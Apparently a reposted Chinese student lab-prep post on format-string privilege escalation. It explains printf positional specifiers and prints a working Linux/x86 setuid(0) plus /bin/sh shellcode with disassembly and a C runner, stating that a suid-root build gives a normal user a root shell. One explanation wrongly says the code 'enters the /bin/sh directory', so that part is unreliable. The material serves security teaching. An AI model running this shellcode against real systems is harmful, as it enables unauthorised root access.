软件安全实验——pre4(格式化字符串提权预习)
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——pre4(格式化字符串提权预习)相关的知识,希望对你有一定的参考价值。
2、
为了顺利完成下节课,建议仔细阅读下面这篇文章的Level 9部分:
https://infamoussyn.com/2013/09/11/smashthestack-io-walkthrough-part-b-levels-6-10/
https://tomasuh.github.io/2015/01/19/IO-Wargame.html
,文章中利用.dtors的办法只是利用格式化字符串执行shellcode的一种形式。
printf中%2$d这类格式的含义如下:Character Description
n$
n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. This is a POSIX extension and not in C99.
Example: printf("%2$d %1$#x %1$d",16,17) produces “17 0x10 16”
答:利用格式字符串漏洞和执行shellcode的最简单方法可能是使用我们的argv [1]的地址覆盖保存的返回地址。这意味着我们将在系统之间拥有两个非常便于携带的地址。
n是使用此格式说明符显示的参数的数量,允许使用不同的格式说明符或以不同的顺序多次输出所提供的参数。这是一个POSIX(可移植性操作系统接口)扩展而不是C99(C语言官方标准)中。
例如:printf("%2$d %1$#x %1$d",16,17) 生成 “17 0x10 16”
%2$d:第二参数的10进制格式
%1$#x:第一个参数的16进制形式,#(x):并在前面加上0x
%1$d:第一参数的10进制格式
3、
解释一下什么叫shellcode。下面这段代码被root编译并且suid后,普通用户是否能获得root shell?解释"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"其中的含义。
/*
* gcc -z execstack -o setuid-linux setuid-linux.c *
* setuid-linux.c - setuid/execve shellcode for Linux/x86
* Short fully-functional setuid(0) and /bin/sh execve() shellcode.
*/
/*
* setuid(0)
*
* 8049380: 6a 17 push $0x17
* 8049382: 58 pop %eax
* 8049383: 31 db xor %ebx,%ebx
* 8049385: cd 80 int $0x80
*
* execve("/bin//sh", ["/bin//sh"], NULL)
*
* 8049387: 6a 0b push $0xb
* 8049389: 58 pop %eax
* 804938a: 99 cltd
* 804938b: 52 push %edx
* 804938c: 68 2f 2f 73 68 push $0x68732f2f
* 8049391: 68 2f 62 69 6e push $0x6e69622f
* 8049396: 89 e3 mov %esp,%ebx
* 8049398: 52 push %edx
* 8049399: 53 push %ebx
* 804939a: 89 e1 mov %esp,%ecx
* 804939c: cd 80 int $0x80
*/
char sc[] = /* 7 + 23 = 30 bytes */
"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80"
"\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
答: Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
shellcode表面看起来是一种能起死回生的神秘数字,实际它只是一段机器码而已。那如何编写shellcode呢,通常有下面几个过程:
- 使用C语言描述shellcode要完成的逻辑功能
- 将C语言翻译成汇编语言
- 编译和测试
- 测试通过后提取机器码
(运行这段代码之后,普通用户能获得root权限)
“\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80”
就是上面C语言
setuid(0);execve("/bin//sh", ["/bin//sh"], NULL)
编译的汇编语言对应的机器码,先赋予当前进程root用户识别码0,再进入/bin/sh系统目录下。
以上是关于软件安全实验——pre4(格式化字符串提权预习)的主要内容,如果未能解决你的问题,请参考以下文章